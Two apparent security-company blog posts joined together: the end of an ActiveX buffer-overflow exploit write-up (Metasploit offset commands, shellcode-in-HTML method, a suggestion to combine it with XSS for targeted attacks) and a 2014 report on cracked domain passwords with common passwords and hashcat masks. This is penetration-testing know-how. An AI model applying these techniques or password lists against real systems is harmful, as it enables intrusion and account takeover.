BOOM! EIP = 0x4141414 and the stack is full of 0x41’s as well. Looks like a classic buffer overflow, and should be fairly straight forward to weaponize. Again, I won’t spend a lot of time on weaponizing the exploit. The best tutorials around on exploit development are over at the Corelan blog. But as a quick rundown, I used Metasploit’s pattern_create Ruby script to generate a unique string to replace the long, obvious A’s. After running the HTML file again, EIP became 0x67423667 and using the corresponding Ruby script pattern_offset in Metasploit, I was able to determine where the overwrite of EIP begins. In case these scripts are unfamiliar, the usage is pretty straight forward.

root@bt:/opt/metasploit# /opt/metasploit/apps/pro/msf3/tools/pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3...
root@bt:/opt/metasploit# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 67423667
979

From here, it was pretty easy. I generated the traditional, but sexy calc popping shellcode. There are multiple ways to embed shellcode into HTML. You can call the unescape function in VBScript (or Javascript) and feed it your shellcode hex string, or use an alpha-numeric encoder and embed the shellcode directly in the HTML. I chose the latter. From here, it was some simple math to ensure the stack was setup properly, adding some NOPs for the slide, and finding addresses for the necessary pivots.

Obviously, the target has to have the ActiveX plugin installed to be exploited, but in a targeted attack a very high percentage of employees will have the plugin installed. Combining the client-side ActiveX vuln with a XSS vuln in the organization’s website, and I suspect you’ll get some extremely high click through rates, resulting in a lot of shells.

I’ll be the first to admit, I’m not the best exploit developer out there, but this was a fun experiment/PoC that can really illustrate the dangers of ActiveX as targeted attacks rage on. And here’s the finished product!

Back

NetSPI's Top Cracked Passwords for 2014

It’s been a big year for password cracking at NetSPI. We’ve spent a lot of time refining our dictionaries and processes to more efficiently crack passwords. This has been a huge help during our pentests, as the cracked passwords have been the starting point for gaining access to systems and applications. While this blog focuses on the Windows domain hashes (LM/NTLM) that we’ve cracked this year, these statistics also translate into the other hashes that we run into (MD5, NetNTLM, etc.) during penetration tests.

During many of our penetration tests, we gather domain password hashes (with permission of the client) for offline cracking and analysis. This blog is a summary of the hashes that we attempted to crack in 2014. Please keep in mind that this is not an all-encompassing sample. We do not collect domain hashes during every single penetration test, as some clients do not want us to. Additionally, these are Windows domain credentials. These are not web site or application passwords, which frequently have weaker password complexity requirements.

This year, we collected 90,977 domain hashes. On average, we still see about ten percent of domain hashes that are stored with their LM hashes. This is due to accounts that do not change their passwords after the NTLM-only group policy gets applied. The LM hashes definitely helped our password cracking numbers, but they were not crucial to the cracking success.

Of the collected hashes, 27,785 were duplicates, leaving 63,192 unique hashes. Of the total 90,977 hashes, we were able to crack 77,802 (85.52%). In terms of cracking effort, we typically put about a day’s worth of effort into the hashes when we initially get them. I did an additional five days of cracking time on these, once we hit the end of the year.

Piegraph

Here’s nine of the top passwords that we used for guessing during online brute-force attacks:

  • Password1 – 1,446
  • Spring2014 – 219
  • Spring14 – 135
  • Summer2014 – 474
  • Summer14 – 221
  • Fall2014 – 150
  • Autumn14 – 15*
  • Winter2014 – 87
  • Winter14 – 63

*Fall14 is too short for most complexity requirements

Combined, these account for 3.6% of all accounts. These are typically used for password guessing attacks, as they meet password complexity requirements and they’re easy to remember. This may not seem like a large number, but once we have access to one account, lots of options open up for escalation.

Other notable reused passwords:

  • Changem3 – 820
  • Work1234 – 283
  • Password2 – 142
  • Company Name followed by a one (Netspi1)

Cracked Password Length Breakdown:

As you can see below, the cracked passwords peak at the eight character length. This is a pretty common requirement for minimum password length, so it’s not a big surprise that this is the most common length cracked. It should also be noted that since we’re able to get through the entire eight character key space in about two days. This means any password that was eight characters or less was cracked within two days.

Bargraph

Some interesting finds:

  • Most Common Password (3,003 instances): [REDACTED] (This one was very specific to a client)
  • Longest Password: UniversityofNorthwestern1 (25 characters)
  • Most Common Length (33,654 instances – 43.2%): 8 characters
  • Instances of “password” (full word, case-insensitive): 3,266 (4.4%)
  • Blank passwords: 362
  • Ends with a “1”: 10,025 (12.9%)
  • Ends with “14”: 4,617 (6%)
  • Ends with “2014”: 2645 (3.4%)
  • Passwords containing profanity (“7 dirty words” – full words, no variants): 48
  • Top mask pattern: ?u?l?l?l?l?l?d?d (3,439 instances – 4.4%)
    • Matches Spring14
    • 8 Characters
    • Upper, lower, and number
  • The top 10 mask patterns account for 37% of the cracked passwords
    • The top 10 masks took 25 minutes for us to run on our GPU cracking system
  • One of our base dictionaries with the d3ad0ne rule cracked 52.7% of the hashes in 56 seconds

Note: I used Pipal to help generate some of these stats.

I put together an hcmask file (to use with oclHashcat) of our top forty password patterns that were identified for this year. You can download them here.

Additionally, I put together one for every quarter. These can be found in the previous quarter blogs:

For more information on how we built our GPU-enhanced password cracking box, check out our slides

For a general outline of our password cracking methodology check out this post

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X